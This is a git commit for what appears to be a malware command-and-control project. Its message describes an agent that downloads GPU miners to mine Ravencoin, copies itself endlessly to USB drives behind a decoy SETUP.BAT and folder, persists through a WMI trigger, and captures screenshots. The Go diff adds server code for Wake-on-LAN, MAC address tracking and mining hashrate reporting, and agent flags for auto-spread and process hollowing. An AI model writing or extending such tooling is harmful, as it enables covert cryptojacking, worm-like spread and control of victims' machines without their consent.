Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -1,12 +1,15 @@
package api
import (
"encoding/binary"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"strconv"
"strings"
"sync"
"time"
@@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
})
}
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
// The packet is broadcast on UDP port 9 to the last known subnet.
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
// Accept optional override MAC from request body
var req struct {
MAC string `json:"mac"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
// Look up MAC from DB if not provided
mac := req.MAC
if mac == "" {
agent, err := f.db.GetAgent(id)
if err != nil || agent == nil {
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
return
}
mac = agent.MacAddress
}
if mac == "" {
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
return
}
if err := sendMagicPacket(mac); err != nil {
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
return
}
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
}
// sendMagicPacket sends a WOL magic packet for the given MAC address.
func sendMagicPacket(macStr string) error {
macStr = strings.ReplaceAll(macStr, "-", ":")
hw, err := net.ParseMAC(macStr)
if err != nil {
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
}
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
pkt := make([]byte, 102)
for i := 0; i < 6; i++ {
pkt[i] = 0xFF
}
for i := 1; i <= 16; i++ {
copy(pkt[i*6:], hw)
}
// Broadcast on limited broadcast address, port 9
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
conn, err := net.DialUDP("udp4", nil, addr)
if err != nil {
// Try port 7 as fallback
addr.Port = 7
conn, err = net.DialUDP("udp4", nil, addr)
if err != nil {
return fmt.Errorf("failed to open UDP socket: %w", err)
}
}
defer conn.Close()
_, err = conn.Write(pkt)
_ = binary.BigEndian // ensure import is used
return err
}
type agentMetaRequest struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`

View File

@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/agents/{id}/stats", h.GetAgentStats)
if fleetHandler != nil {
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)

View File

@@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
@@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
MacAddress: auth.MacAddress,
Capabilities: &caps,
}
@@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
DiskFreePct *int `json:"disk_free_pct,omitempty"`
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// GPU / Ravencoin mining
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
// SSH + posture
SSHAvailable *bool `json:"ssh_available,omitempty"`
PostureScore *int `json:"posture_score,omitempty"`
@@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
// GPU / Ravencoin mining stats
if stats.GPUMinerActive != nil {
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
}
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
// Listen port count
if stats.ListenPortCount != nil {
broadcast["listen_port_count"] = *stats.ListenPortCount